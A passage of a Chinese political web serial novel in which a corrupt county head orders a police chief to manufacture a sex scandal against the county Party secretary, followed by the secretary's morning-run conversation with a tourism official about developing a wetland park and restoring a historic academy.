哼唱声还在继续,带着刘世廷无比惬意的悠闲,像一把钝刀子,在董海的心上来回割锯:“……鸠山设宴和我交朋友,千杯万盏会应酬……”
这荒诞绝伦的对比——外面是冠冕堂皇、慷慨赴死的革命英雄唱段,门内是肮脏龌龊的权色交易。
这唱腔,是刘世廷心情极度愉悦的明证,更是敲在董海天灵盖上的最后通牒!
一个清晰的、冰冷的认知如同冰水灌顶,瞬间浇灭了董海心中最后一丝侥幸的火星,将他彻底冻结。
他今夜若再敢不识抬举,再敢挣扎半分,明天,不,也许就在下一刻,所有他珍视的、赖以生存的一切,都将在这位哼着革命样板戏的县长弹指之间,灰飞烟灭!
……刘世廷那张在烟雾后愉悦微笑的脸,瞬间化为狰狞的恶鬼。
钱德海那只肥厚的手掌,带着不容置疑的力道,终于落在了冰凉的门把手上,轻轻一拧。
“咔哒。”
一声轻响,如同命运的锁簧被扣死。
那扇泄露出粉红色光晕的门,在董海涣散的瞳孔中,缓缓地、无可挽回地向内打开了。
一股更加浓郁、甜腻得令人窒息的暖香混合着某种难以言喻的暧昧气息,如同实质的潮水,猛地扑面而来,瞬间将他彻底吞没。
门内,是一片被粉红色灯光渲染得模糊不清、光影摇曳的混沌世界。
董海被那股暖香和钱德海的推力裹挟着,身不由己地、踉跄地向前迈了一步。
就在他一只脚踏入那片粉红色混沌的瞬间——
身后,那扇象征着“生路”的办公室门内,刘世廷荒腔走板的哼唱声,似乎更加清晰、更加悠扬地飘荡在长长的走廊里:
“……时令不好风雪来得骤,妈要把冷暖时刻记心头……”
哼唱完后,刘世廷又打了一个电话出去。
这次打的是李国栋。
“国栋,你到金鼎‘锦绣江南’包厢来一趟。现在。”
“是!我马上来!”李国栋应道。
挂掉电话后。
刘世廷陷在宽大冰冷的真皮沙发里,指尖在茶几桌面上一搭、一搭地敲着,空洞的节拍像是某种倒计时前的独奏。
一支刚点燃的香烟夹在他指间。
猩红的火点在昏暗的光线下缓慢燃烧,升起一缕笔直且有些鬼魅的青烟。
“笃笃笃…”三声节奏精准的敲门声响起。
不高不低,恰到好处地打破了包厢里的沉寂。
“进。”刘世廷的声音低沉,带着一丝不易察觉的疲惫,却又瞬间被一种惯常的威严覆盖。
门被轻轻推开,李国栋的身影出现在门口。
他穿着便服,快步走进来,反手轻轻带上门,动作熟练得仿佛演练过无数次。
“刘县长。”李国栋的声音带着恭敬,微微欠身。
“国栋,来了。”刘世廷抬了抬下巴,落在李国栋身上。
那目光锐利如鹰隼,仿佛能穿透皮囊,直抵人心。
他没示意李国栋坐下。
李国栋立刻在沙发上坐了下来。
刘世廷将茶几上的几张照片推给他。
“看看。”刘世廷的声音平淡无波,听不出任何情绪,“这个女孩子,你认识吗?是你们局里的人吗?”
李国栋微微俯身,拿起那几张照片。
照片显然是A4纸打印字,有些模糊,但足以辨认出主要人物的轮廓和特征。
他翻来覆去地看着这几张照片,尤其是那个年轻女警的脸。
一种强烈的熟悉感冲击着他。
刘世廷靠在沙发背上,深深吸了一口烟,缓缓吐出浓白的烟雾。
他的目光透过烟雾,观察着李国栋脸上每一丝细微的变化。
说实话,他并没有抱太大希望。
在他固有的认知里,如果江昭宁真的在暗中密谋来对付他,这个女孩子,绝不会是来自东山县公安局这个李国栋能掌控的“地盘”。
更大的可能,这女孩是市公安机关某个部门派下来的……
想到后者,刘世廷的嘴角几不可察地向下撇了一下。
然而,就在这时。
“方黎!”李国栋几乎是脱口而出,声音带着难以置信的惊讶,手指无意识地用力点在了照片上女警的脸部位置。
这声惊呼,如同在平静的水面投下了一块巨石!
刘世廷夹着烟的手指猛地一顿,烟灰簌簌落下,烫到了他的裤管也浑然未觉。
他霍然坐直了身体,身体前倾,那双原本带着审视和些许倦怠的眼睛,瞬间爆发出慑人的精光,如同黑暗中骤然点亮的探照灯,死死锁定了李国栋。
“谁?!”刘世廷的声音陡然拔高,带着一种被意外击中核心的尖锐,先前刻意维持的平淡荡然无存,“你说她是谁?方黎?!你认识?”
“她真是你们县局的人?!”
一连串的问题像子弹一样射向李国栋。
李国栋被刘世廷瞬间爆发的凌厉气势惊得心头一颤,拿着照片的手都有些抖,连忙点头如捣蒜:“是!刘县长!是她!”
“没错,就是方黎!是我们局里的民警!分配到我们局才半年多!”
刘世廷的脑子在高速运转,消化着这个完全出乎意料的信息。
方黎?东山县公安局?刚分配来半年多?
每一个信息点都与他之前的判断背道而驰!
“具体点!”刘世廷的声音低沉下去,却蕴含着更强的压迫感,他需要每一个细节来拼凑这个意外图景,“她什么背景?怎么进的局里?现在在哪个部门?”
李国栋不敢怠慢,语速飞快地汇报:“方黎,女,二十三岁,警校毕业,去年年底通过公务员考试分到我们县局治安大队的。”
“家就是咱们本地的,没什么背景。”
“人…业务能力还行,就是性子有点…有点轴,不太会来事。”他斟酌着用词,小心地避开了一些可能引起刘世廷不快的评价。
“治安大队?”
“呃…是,一开始是在治安大队。”李国栋脸上露出一丝尴尬和不易察觉的幸灾乐祸,“这丫头不太懂规矩,有点愣头青。”
“对着金鼎说三道四的,前两天,被我一怒之下给贬到交巡警大队处理路面勤务去了。”
“金鼎?交巡警大队?”刘世廷的眉头拧得更紧了。
“是!”李国栋的语气变得有些微妙,“但是!怪就怪在这里!她刚被贬下去没两天,屁股在交巡警大队的板凳还没坐热呢!”
“结果,您猜怎么着?”
李国栋故意卖了个关子,小心翼翼地观察着刘世廷的脸色。
看到刘世廷眼中催促的厉色。
他不敢再停顿,压低声音,带着一种分享秘密的口吻说道:“江书记!江书记亲自干预了!”
“直接给直接安排到了大队部,做些内勤文秘的工作!”
“我气得够呛,但书记发了话,谁敢不听?”
第152章 为了她?!
轰!
李国栋的话,像一道惊雷,在刘世廷的脑海中炸响!
“江昭宁亲自干预?!为了她?!”刘世廷几乎失声重复了一遍,心中的疑云瞬间被这个极具冲击力的事实冲散了大半。
取而代之的是一种恍然大悟,以及随之升腾起的、更加复杂的情绪——并非全然是担忧,反而掺杂着一丝…庆幸?
原来如此!原来如此!
刘世廷紧绷的身体,在这一刻,竟奇异地松弛了下来。
他重重地向后靠回沙发背,长长地、缓缓地吁出了一口积压在胸中的浊气,仿佛卸下了千斤重担。
那股巨大压力,在这一刻得到了前所未有的缓解。
不是!不是针对我的!
不是市里派来专门查我的钉子!
也不是江昭宁精心布局准备对付我的暗棋!
“原来她与江昭宁……早有勾结啊!”刘世廷喃喃自语,声音里带着一种洞察“真相”后的了然,甚至还有一丝不易察觉的轻蔑。
他之前的种种担忧,在此刻看来,似乎都显得有些可笑了。
原来绕了这么大一个圈子,根源竟然在这里!
一个漂亮的女下属!
“哼!”刘世廷冷笑一声,嘴角勾起一抹讥诮的弧度,之前的阴霾仿佛一扫而空,取而代之的是一种猎手发现了猎物弱点的兴奋,“我说呢!大清早的办公室‘谈心’?”
“一个位高权重的书记,一个未婚、年轻漂亮的女干警……这关系,能一般?”他把“谈心”两个字咬得特别重,充满了暗示意味。
李国栋立刻心领神会,顺着刘世廷的话头,脸上也堆起了谄媚而意味深长的笑容:“就是!刘县长您英明!”
“我一看就觉得有点不对劲了。”
“江昭宁对她也太‘关照’了!”
“这简直是…嘘寒问暖,无微不至啊!”
“这方黎,平时在局里看着挺清高的,没想到…啧啧,抱大腿的本事倒是不小?”
“悄没声息地,就攀上了江昭宁这棵大树?”他的语气里充满了酸溜溜的嫉妒和恶意的揣测。
“抱大腿?”刘世廷的冷笑更深了,眼神像淬了冰,“恐怕没那么简单。”
“看照片上那亲昵劲儿…大清早的独处一室,这是直接伸冤伸到了江昭宁的‘御前’,用别的方式‘打动’了我们的书记?”
他的话语充满了恶毒的暗示,将“伸冤”和“打动”赋予了极其暧昧的色彩。
“对对对!肯定是这样!”李国栋连连点头,感觉自己终于摸准了领导的心思,也更加确信了自己的判断,“肯定是她用了什么手段,让江书记对她另眼相看!”
“不然,就凭她一个没背景没靠山的,凭什么让江昭宁亲自为她出头?”
刘世廷没有再说话,微眯着眼,刚才的“如释重负”在短暂的轻松后,迅速被一种新的、更为阴冷的计划所取代。
既然确认了不是冲着自己来的致命威胁。
那么,眼前这个意外发现的“把柄”,简直是天赐良机!
一个足以将江昭宁拉下神坛,让他身败名裂的绝佳突破口!
私德!作风问题!
这可比工作上的分歧更能摧毁一个干部的根基,尤其是在这风口浪尖上!
一丝阴鸷的笑意,如同毒蛇吐信,悄然爬上了刘世廷的嘴角。
他重新坐直身体,目光如刀,再次聚焦在李国栋脸上,声音恢复了之前的平静。
但这平静之下,却蕴含着更深的寒意。
“国栋,”刘世廷的声音不高,却字字清晰,带着一种掌控全局的压迫感,“你不觉得…他们之间的关系,有些过于‘亲密’了吗?有些行为,已经…出格了吗?”
他故意在“亲密”和“出格”两个词上加重了语气,目光紧紧锁住李国栋的眼睛,仿佛要将他内心的想法完全看穿。
李国栋被刘世廷看得心头一凛,冷汗瞬间浸湿了后背。
他当然明白刘世廷想听什么,但他毕竟在公安系统多年,基本的底线和风险意识还是有的。
照片上的内容,虽然引人遐想,但硬要说“出格”的证据,确实没有。
他脸上堆起为难的笑容,小心翼翼地斟酌着措辞:“刘县长…这个…单从这几张照片看,江书记和方黎…就是正常的工作接触吧?”
“办公室谈话,搭个便车…”
“虽然时间地点是有点…敏感,但要说‘出格’…好像…好像也…没那么明显?”
他一边说,一边偷瞄着刘世廷的脸色,声音越说越小。
“没那么明显?!”刘世廷的声音陡然拔高,带着一丝明显的不耐烦和冰冷的嘲讽,像鞭子一样抽打在李国栋的神经上,“同志之间的关心当然可以有!”
“但是!”他猛地一拍茶几,震得上面的茶杯都晃了晃,“一个单身的县委书记!一个未婚的、年轻漂亮的女下属!大清早的!独处一室!”
“谈什么工作需要靠那么近?”
“谈什么工作不能光明正大地在上班后公开场合谈?!”
他的声音如同寒冰碎裂,每一个字都带着彻骨的冷意和强烈的暗示:“这瓜田李下的道理你不懂吗?”
“黄泥巴掉落在裤裆里——不是屎,它也是屎!”
“人言可畏!唾沫星子能淹死人!”
“这种嫌疑,本身就足以让人浮想联翩!”
李国栋被刘世廷突然爆发的怒火吓得一哆嗦,脸色发白,大气都不敢出。
刘世廷盯着他,眼神里的寒冰稍稍融化,却换上了另一种更为黏稠、更为阴险的意味,如同沼泽深处泛起的毒泡。
他身体微微前倾,压低了声音,仿佛在传授什么秘笈:“看不出来?没关系。”
“国栋啊,有时候,机会不是等来的,是要…主动创造的。”
他的声音带着一种循循善诱的蛊惑,“你这个做领导的,关心下属的个人问题,也是职责所在嘛。”
李国栋茫然地看着刘世廷,一时没反应过来。
刘世廷嘴角那抹阴鸷的笑意彻底绽开,如同黑暗中盛开的毒花:“我的意思是…你这个做领导的,要懂得成人之美啊!”
“要主动地、巧妙地…为你的下属方黎同志,创造一些…能够‘多接触’江书记的机会。”
“工作汇报?送个材料?请教问题?关心领导生活?”
“理由多的是嘛!”
“年轻人,多接触,多交流,感情…不就培养出来了?”
第153章 制造绯闻?
他拿起酒杯,轻轻晃动着里面琥珀色的液体,冰块撞击杯壁,发出清脆而冰冷的“咔哒”声,像是在为他的话语打着节拍。
“干柴…烈火…”刘世廷的声音低沉下去,带着一种令人毛骨悚然的期待,“只要机会给足了,温度够高了,总有那么一天…它会自己烧起来的。”
“到时候,那火光…可就由不得他们自己控制了。”他的眼神迷离,似乎已经看到了那毁灭性的火焰冲天而起,将江昭宁苦心经营的一切焚为灰烬。
然而,他的笑容随即又收敛了几分,变得更为冷酷和现实:“当然,计划嘛,总要做两手准备。”
“这一点达不到,我们还可以…另作文章。”
他放下酒杯,手指再次敲击着桌面,目光锐利如鹰隼,直刺李国栋的心底:“现在的问题是,这‘瓜田李下’的嫌疑,还是太模糊了。”
“群众的眼睛,有时候需要一点点…引导,才能看得更‘清楚’,才能真正的‘雪亮’起来。”
“你说是不是?”
李国栋的心脏狂跳起来,他已经完全明白了刘世廷的意思。
这是要…制造证据?
不,是制造“氛围”!
制造“传言”!
刘世廷的话语如同无形的毒液,缓缓注入李国栋的耳中:“你去想办法。”
“给我‘弄’点东西出来。”
“没有实打实的捉奸在床也没事。”
“我们要的是…效果。”
“是那种模棱两可,引人遐想,让人忍不住去猜、去传的东西!”
他掰着手指,如同布置一项重要的战略任务:“照片?可以。”
“角度要刁钻,要看起来像是在拥抱,在接吻,或者…在宾馆走廊一前一后进房间?记住,是‘看起来’!”
“录像?更好!”
“哪怕只是几秒钟,拍到他们靠得很近,或者江昭宁的手‘似乎’搭在她肩上?或者一起走进某个私密场所?”
“光线要暗一点,画面要晃动一点,越模糊,越有想象空间!”
“实在不行,”刘世廷的眼中闪过一丝更为阴险的光芒,“找几封‘群众’的匿名信也行!”
“主题就一个——干部作风问题!”
“写得要像那么回事,有点细节,但又不能太具体,捕风捉影最好!”
“要让人感觉是‘群众的眼睛是雪亮的’,是‘无风不起浪’!”
他的声音陡然拔高,带着一种煽动性和毁灭性的狂热:“核心目标只有一个:制造出一种氛围!一种传言!”
“一种无处不在的窃窃私语!”
“让人们把目光都聚焦到江昭宁和方黎的关系上!”
“要在他们心里,先深深地种下一颗怀疑的种子!”
“让他们不由自主地去想:‘这位看起来完美无瑕、道貌岸然的江大书记,背地里…是不是也有点见不得光的勾当?他的清廉正直,是不是装出来的?’”
“这颗种子一旦种下,”刘世廷的眼中闪烁着近乎疯狂的光芒,一字一顿地说道,“它自己就会生根、发芽、疯长!”
“绯闻它会摧毁他的威信!瓦解他的支持!”
“让他焦头烂额,疲于应付!”
“让他所有的政策、所有的讲话,都蒙上一层肮脏的阴影!”
“到时候,他自顾不暇,还怎么来动我的盘子?!”
“哼,私德有亏,作风败坏,这可是原则问题!是高压线!”
“只要舆论起来了,上面想保他都难!这就叫…釜底抽薪!攻心为上!”
李国栋听着刘世廷描绘的蓝图,心脏不争气地狂跳起来,几乎要撞破胸膛!
一股寒意从脚底板直冲天灵盖,但在这刺骨的寒意之中,却又诡异地升腾起一种参与毁灭的、扭曲的兴奋感,如同饮鸩止渴。
他彻底领悟了刘世廷这招“泼污水”的精髓——这不仅仅是政治斗争,这是要彻底地、从根子上摧毁江昭宁这个人!
不仅要打倒他的工作形象,更要将他的人格和私德踩进泥泞里,让他身败名裂,永世不得翻身!
狠!太狠了!
这才是真正的杀人不见血!
巨大的恐惧和一种被卷入滔天阴谋的刺激感,让李国栋的身体微微颤抖。
他猛地站直身体,因为紧张和那扭曲的兴奋,声音抑制不住地再次颤抖,但其中蕴含的决心却清晰无比,甚至带着一丝豁出去的狂热:“是!刘县长!请您放心!”
“我…我明白了!我一定…一定做得天衣无缝!滴水不漏!”
他几乎是吼出来的,仿佛只有这样才能压下心头的惊涛骇浪。
“嗯。”刘世廷终于满意地点了点头,重新拿起那支快要燃尽的烟,深深吸了一口,让辛辣的烟雾在肺里转了一圈,才缓缓吐出。
烟雾缭绕中,他的眼神重新变得深邃莫测,只留下最后一句冰冷刺骨的叮嘱,如同淬了剧毒的匕首,悬在李国栋的头顶:“记住,干得巧妙。别留痕迹。”
“否则…”
他没有说下去,但那未尽之言中的威胁,比任何明确的警告都更让人胆寒。
“知道!”
“去吧!”
“是!”李国栋出门而去。
周六清晨。
天际线刚刚泛起鱼肚白,夜色尚未完全褪尽,空气中弥漫着清冽的草木气息和一丝微凉的潮意。
整座县城还在沉睡的边缘。
江昭宁穿着深蓝色运动服和轻便跑鞋,像一台精密而自律的机器,准时踏出了县委家属院的大门。
这是他雷打不动的晨跑时刻。
无论公务多么繁重,这清晨独属于自己的一小时。
是他保持头脑清醒、梳理思路的宝贵时光。
今天,是难得的休息日,无需在跑步时同步思考即将召开的常委会议题或某个棘手项目的推进方案。
一股久违的松弛感,伴随着脚步的轻盈,悄然爬上心头。
因为这份难得的闲暇,江昭宁今天的路线比平日延伸得更远。
他先是沿着熟悉的城市主干道一偏头跑向公园。
公园里晨练的人影稀疏,大多是些头发花白的老人,缓慢地打着太极或遛着鸟。
江昭宁像一阵风掠过他们身边,只留下一个挺拔而迅捷的背影。
他绕着公园的环湖步道跑了一圈,湖面平静如镜,倒映着初醒的天空和岸边的垂柳。
汗水渐渐浸湿了他的额发和后背,呼吸也变得更深沉有力。
一种纯粹的、体力释放带来的畅快感在四肢百骸流淌。
跑出公园,他没有像往常一样折返,而是心念一动,朝着沿江大道跑去。
那里,曾是他心头的一块疙瘩。
晨光熹微中,江昭宁终于跑到了江畔。
他放缓了脚步,站在新修的江滨观景平台上,微微喘息着,目光投向那片曾经不堪入目的区域。
眼前所见,让他心头一震,随即涌上一股难以言喻的欣慰。
嗬!他在心底无声地惊叹了一声。
真的大变样了!
记忆里那个堆积如山、蚊蝇肆虐、在盛夏时节恶臭能飘散几里远的巨型垃圾堆放点,消失得无影无踪。
取而代之的,是一处崭新、雅致的人工观景亭。
第154章 偶遇
亭子采用仿古设计。
飞檐翘角,朱漆木柱,稳稳地矗立在精心平整、铺设了鹅卵石小径的地基上。
亭子周围,不再是荒芜的泥地和随风飘散的塑料袋,而是错落有致地栽种着新移栽不久的绿植——几株开得正盛的紫薇,几丛挺拔的翠竹。
还有大片生命力旺盛的鸢尾花。
虽然尚未形成浓荫。
但那份刻意营造的清新与生机,与过去相比,已是天壤之别。
一条蜿蜒的防腐木栈道,从观景亭延伸出去,探向江面,想必是为了让游人能更亲近江水。
远处,浑浊的东江水在晨光下泛着金色的粼光,奔流不息。
空气中,不再是令人窒息的腐臭味。
而是混合着江水微腥、泥土清新以及草木初醒的淡淡芬芳。
江风拂面,带着湿润的凉意。
吹干了他身上的薄汗,也吹散了心中最后一丝因早起跑步带来的疲惫。
江昭宁暗自点头,目光在焕然一新的江岸线上流连。
虽然规模尚小,绿植还需时日成长,配套设施也显简陋。
但这份规划与改造的意图是清晰可见的——有点儿风光带的雏形了。
陈向荣这人还真的有两把刷子。
做事不错,起码这一步,走得扎实、看得见成效。
江昭宁嘴角不易察觉地向上弯了一下,对他给予了充分的肯定。
带着这份不错的观感。
江昭宁开始沿着沿江大道折返。
身体的兴奋度经过刚才的冲刺和驻足观察,稍稍回落,步伐变得稳定而富有节奏。
就在这节奏之中,一种熟悉的“空荡感”再次浮现。
以往,只要他出现在晨跑的路上,身后总会不紧不慢地缀着那么几条“尾巴”。
那通常是几个嗅觉灵敏的机关干部——可能是某个局的副局长,某个新提拔的股长。
或者某个急于在书记面前露脸的年轻后备干部。
他们穿着崭新的运动服,努力调整着自己并不习惯的呼吸节奏,试图跟上书记的脚步,寻找一个看似“偶遇”实则精心策划的搭讪机会。
目的不言而喻:混个脸熟,留个印象,或许能在某个关键时刻派上点用场。
只是,江昭宁的跑步节奏快,耐力好,绝非这些临时抱佛脚的“跟跑者”能轻易适应的。
往往跑不了几百米,后面的人就开始气喘如牛,脸色发白。
想要凑近些,说上几句“书记早”、“书记身体真好”之类的套话,都显得异常艰难。
远不如上班时间拿着文件直接去办公室汇报来得方便和体面。
久而久之,跟跑的人便日渐减少。
从最初的七八个,慢慢缩减到三四个。
最后只剩下两三个意志最为“坚定”的。
今天,因为是休息日,那仅存的两三个“尾巴”也彻底没了踪影。
江昭宁对此心知肚明。
他理解这些人的心思,也理解他们选择在周末“休息”的原因——大概是在家补觉,或者陪家人了吧。
毕竟,周末清晨的“偶遇”戏码,演起来更刻意,也更容易被看穿。
少了那些追随的目光和刻意调整的脚步声。
清晨的空气似乎都更纯粹、更自由了。
江昭宁享受着这份难得的、真正的独处时光,只有脚步声、呼吸声与苏醒的城市低语相伴。
然而,就在他跑过一段相对僻静、两侧香樟树浓荫蔽日的路段时,一种微妙的、被注视的感觉悄然爬上脊背。
这并非来自前方或侧方,而是……身后?
这是一种久经官场、长期处于权力中心的人所特有的敏锐直觉。
江昭宁不动声色,没有立刻回头,只是稍稍调整了呼吸,耳朵捕捉着身后的动静。
果然,除了自己规律有力的脚步声,还有另一个同样富有节奏,但更轻盈、频率略快的脚步声,稳定地保持着一个不远不近的距离。
大约又跑了几百米,在一个视野开阔的转弯处,江昭宁装作不经意地侧头,用眼角的余光迅速向后扫了一眼。
一个身影清晰地映入眼帘。
是一位身着浅灰色普通款运动服的女子。
距离他大约二十米左右,保持着匀速奔跑。
显然,她并非刚刚出现,而是跟了一段不短的距离。
这一瞥,让阅人无数的江昭宁也不由得多留了几分意。
这女子身形窈窕,比例极佳。
即使那身略显臃肿、毫无设计感的运动服,也丝毫掩饰不了其起伏的、迷人的曲线。
随着奔跑的动作,那流畅的线条在宽松的布料下若隐若现。
充满了健康而内敛的生命力。
她束着高高的马尾,随着步伐在脑后活泼地跳跃,露出光洁饱满的额头和修长的脖颈。
晨光透过树叶的缝隙,洒在她白皙的皮肤上,仿佛镀上了一层柔光。
衬得她模样姣好的五官更加清晰——眉毛细长,鼻梁挺直,嘴唇是自然的樱粉色,未施粉黛,却透着一种清爽干净的活力。
似乎是察觉到书记的目光,女子抬起头,恰好迎上江昭宁略带审视的眼神。
她没有丝毫慌乱或羞涩,反而莞尔一笑,笑容明朗,牙齿洁白,声音清亮地喊道:“书记好!”
这声问候自然大方,既没有刻意的谄媚,也没有过分的拘谨。
倒像是遇到了一个普通的晨跑熟人。
江昭宁微微颔首,算是回应。
他放慢了些脚步,让女子能够自然地跟上来,与自己并行。
近距离看,她的年纪大约在二十七八岁到三十岁之间,气息均匀,显然有长期锻炼的底子。
“你一直在坚持晨跑?”江昭宁开口问道,语气平和,带着一丝领导者惯有的询问意味。
目光则落在她运动鞋磨损的程度和手臂上紧致的肌肉线条上。
这是他的习惯,通过细节观察人。
“是的。”女子回答得很干脆,声音带着跑步后的微喘,却充满笃定,“风雨无阻!”
这四个字,她说得掷地有声,带着一种不容置疑的决心。
“风雨无阻?”江昭宁重复了一遍,侧过头,目光带着一丝探究,扫过她被汗水微微濡湿的鬓角和光洁的额头,“一旦雨天,不怕把自己淋成落汤鸡?”
“那样反而适得其反,容易感冒。”
他的语气很随意,像是闲谈,但话语里却藏着一根小小的刺。
作为县委书记,他深知“绝对化”的承诺背后往往藏着水分。
他自己在下雨天是绝对不跑户外的,一来淋雨水怕感冒,二来也避免不必要的形象问题。
而眼前这个女子,如此年轻,却声称“风雨无阻”?
这话听着,未免就带了几分刻意表现、甚至是不切实际的不靠谱。
一瞬间,江昭宁对她的印象立马打了折扣。
第155章 能掐会算?
江昭宁见过太多急于在他面前表现“刻苦”、“坚持”、“与众不同”的人了,这种夸张的表述,往往预示着后续的表演。
他几乎可以预见,对方会顺着他的话,开始诉说坚持锻炼的种种不易,或者表露某种决心。
他心中那根警惕的弦,无声地绷紧了一分,脸上的表情虽然依旧平和,但眼神深处已带上了一丝不易察觉的疏离和审视。
然而,女子的反应却出乎他的意料。
她并没有急于辩解或表功,而是迎着江昭宁略带质疑的目光,展颜一笑,那笑容坦荡而自信,仿佛早已料到会有此一问。
“书记说得对,”她调整了一下呼吸,声音依旧清亮,“纯粹的雨天在室外跑确实不方便,也容易着凉。”
“不过我说的‘风雨无阻’,是指锻炼的习惯不间断。”
她微微侧头,眼神明亮地看着江昭宁,“下雨天室外跑不了,但我有办法,在室内跑步机上跑。”
“虽然环境不同,但运动量、心率控制这些核心指标,只要科学安排,效果也是一样的。”
她顿了顿,目光投向江边新栽的、在晨风中微微摇曳的柳树,语气里带上了一丝真实的遗憾:“只是……确实少了这份在江边呼吸新鲜空气、看着城市慢慢醒来的感觉,无法亲近大自然了。”
这个回答,简洁、务实、逻辑清晰,没有丝毫的浮夸和自我标榜。
她坦然承认了雨天室外跑的弊端,提出了替代方案并肯定了其效果,最后才表达了对户外环境的喜爱。
既回答了质疑,又显得真诚自然,没有半点矫揉造作。
天衣无缝。
江昭宁心中的那点疑虑和刚刚升起的轻视,像被一阵清风吹散。
他重新审视着身边这个并肩奔跑的年轻女子。
她的目光坦然,气息稳定,回答时逻辑清晰,既不过分热络,也不显得冷淡,分寸感拿捏得极好。
尤其是那份对“亲近自然”的遗憾,听起来不像是刻意迎合他这个书记,更像是一个真正热爱晨跑的人发自内心的感受。
这女子,不简单。
谈吐清晰,分寸感极佳。
江昭宁心里暗道。
他面上不动声色,只是轻轻“嗯”了一声,算是认可了她的说法。
两人之间短暂的沉默被规律的脚步声和渐渐喧闹起来的城市背景音填满。
江风带着水汽拂过脸颊,江昭宁的思绪却比刚才更活泛了一些。
这个突然出现在他周六清晨、自称“风雨无阻”的晨跑女子,究竟只是巧合,还是……另有所图?
她精准地出现在“尾巴”消失的休息日,恰到好处地跟上他的速度,自然地问候,又巧妙地化解了他的质疑……
这一切,似乎都过于顺理成章。
他不再追问,只是保持着原有的速度继续向前跑。
女子也默契地保持着并行,既没有刻意靠近套近乎,也没有落后掉队。
她的存在感很强,却又奇异地不让人觉得打扰。
两人就这样沉默地跑着,穿过渐渐苏醒的街道,沐浴在越来越明亮的晨光里。
只有脚步声在空旷的清晨道路上回响,如同两颗行星在各自轨道上运行,短暂交汇,却又保持着微妙的距离。
在这个清晨,除了焕然一新的江景带来的好心情,又多了一丝值得玩味的小插曲。
江昭宁微微调整了一下呼吸,脚步似乎更加沉稳有力了。
“你是旅游局的吧?”江昭宁目视前方,语气平淡,仿佛随口一问,脚下奔跑的节奏丝毫未乱。
但问话的内容却像一颗投入平静湖面的石子。
秦怡明显一愣神,脚下步伐微顿,慢了小半步才重新调整跟上。
她侧过头看向江昭宁,脸上露出恰到好处的惊讶,甚至带着一丝不易察觉的钦佩笑意:“书记,您还说对了。”
她微微喘了口气,声音带着惊奇,“您能掐会算?”
江昭宁嘴角勾起一丝极淡的弧度,目光依旧看着前方的林荫道,晨光透过枝叶在他脸上投下斑驳的光影。“我是看你热爱户外活动之类,”他语气随意,像是在解释一个再自然不过的推论,“跑步也是户外呀。”
“顺口一说,没想到歪打正着!”
秦怡脸上的惊讶迅速转化为一种轻松的笑意,仿佛卸下了一个小小的包袱:“原来如此。”
“书记观察力真敏锐。”
她没有在这个话题上过多纠缠,显得自然坦荡。
“叫什么名字?”江昭宁继续问道,语气是上级领导询问下属的平常口吻。
“秦怡!”女子回答得清脆响亮。
“秦怡?”江昭宁在记忆中迅速检索这个名字,“旅游局我去过,人不多,我见过你们局长以及其他几位工作人员,”
他顿了顿,侧头看了秦怡一眼,眼神带着一丝审视,“唯独没有见到你。”
这句话看似平淡,却隐含着一个疑问:作为旅游局的一员,书记视察时你为何缺席?
秦怡显然听懂了这层意思。
她没有丝毫慌乱,语速平稳地解释道:“您上次来的时候,大概是……上个月初吧?”
“我听说过,那天呀,我到莲湖湾湿地公园处理事情去了。”
她脸上带着一丝遗憾,“很可惜,没有见到您。”
“处理事情?你有职务?”
“与书记比起来,那算什么职务?”秦怡俏脸一红。
“有就有,没有就没有。不能干脆点儿吗?”
“算,算,算是吧。”她下意识地舔了舔有些发干的嘴唇,声音变得有些滞涩,甚至带着点结结巴巴的慌乱。
“什么职务?”
秦怡的声音细若蚊蝇,“旅游产业股!”
“股长?”
“是,是吧。”秦怡有些温吞水。
“秦股长,你刚才说到莲湖湾湿地公园?”江昭宁的语调微微上扬,带着一丝反问的意味。
这个名字触动了他的神经。
他的脚步依然稳健,但眼神瞬间变得更为专注,投向秦怡的目光也锐利了几分。
这个地点,绝非随意提起。
它不仅是东山县一处重要的生态资源,更是他近期重点关注、甚至已悄然纳入长远规划的关键节点。
秦怡此刻提起,是巧合,还是意有所指?
“是的,书记。”秦怡迎着他的目光,坦然点头,“您去过那里吗?”
“去过一次。”江昭宁没有掩饰,他的思绪似乎短暂地飘向了那个地方,“它位于东江下游,水面开阔,烟波浩渺。”
“尤其到了夏季,荷花盛开,接天莲叶无穷碧,映日荷花别样红,景致确实独特。”
第156章 这盘棋一下子就活了!
江昭宁的描述带着一种欣赏,但更蕴含着一种审视者的冷静,“而且,那里的河水清澈,我记得环保部门做过详细检测,水质优良,达到了国家直接饮用水标准,非常难得。”
“目前评定是3A景区,但老实说,”他话锋一转,带着一丝惋惜,“养在深闺人未识,它的生态价值、景观价值和潜在的旅游价值,远未被充分发掘出来,有很大的开发空间。”
他这番话,既肯定了莲湖湾的价值,也点明了现状的不足,更暗示了“开发”的可能性。
这几乎是在公开场合很少提及的初步思路。
他一边说,一边用余光观察着秦怡的反应。
秦怡的眼睛瞬间亮了起来,仿佛被点燃的火种。
她没有掩饰自己的兴奋,语速不自觉地加快了一些:“书记您说得太对了!”
“莲湖湾就像一块璞玉,需要精心的雕琢。”
“我们局里一直觉得,它的潜力远不止于此!有很大的开发价值!”
她随即敏锐地捕捉到江昭宁话语中的关键信息,“您那次去莲湖湾,是为了……调研将来的开发吧?”
她问得小心翼翼,却又带着热切的期待。
江昭宁没有直接回答“是”或“不是”,而是将话题引向了另一个更具历史文化厚度的方向,仿佛在勾勒一幅更宏大的蓝图:“我记得,莲湖湾附近还有一个进士坊。”
他的声音低沉了些,带着一种对历史的追忆,“始建于北宋嘉祐年间,据地方志记载,当时还遗存有规模不小的建筑群,时称‘崇贤堂’,是本地文脉的重要象征,出过好几位进士,是学风鼎盛之地。”
他的语气渐渐带上了一丝沉重:“可惜啊,历经战火,尤其是近代以来的动荡,毁于战乱,损毁严重。”
“我上次去的时候特意绕过去看了看,现在剩下的,只有些残垣断壁,淹没在及人高的荒草之中,狐兔出没无常,一派荒凉破败的景象,实在让人叹息。”
这番描述,充满了对历史遗迹湮灭的痛心和无奈。
但紧接着,他的语调陡然变得坚定有力,目光也投向远方,仿佛穿透了时空的阻隔:“但是!这些断壁残垣本身,就是历史的见证,有着巨大的文物价值!”
“不能任其荒废下去。”
“我认为,必须修缮扩建,在保护原址的基础上进行科学的考古挖掘和复原展示,让它重现历史风貌。”
“目标,就是把这一建筑群打造成省级文物保护单位!”
他停顿了一下,目光转向身旁听得入神的秦怡,语气中充满了对未来的展望:“当然,保护不是最终目的。保护好了,挖掘出其文化内涵,它完全可以成为未来的旅游景点。”
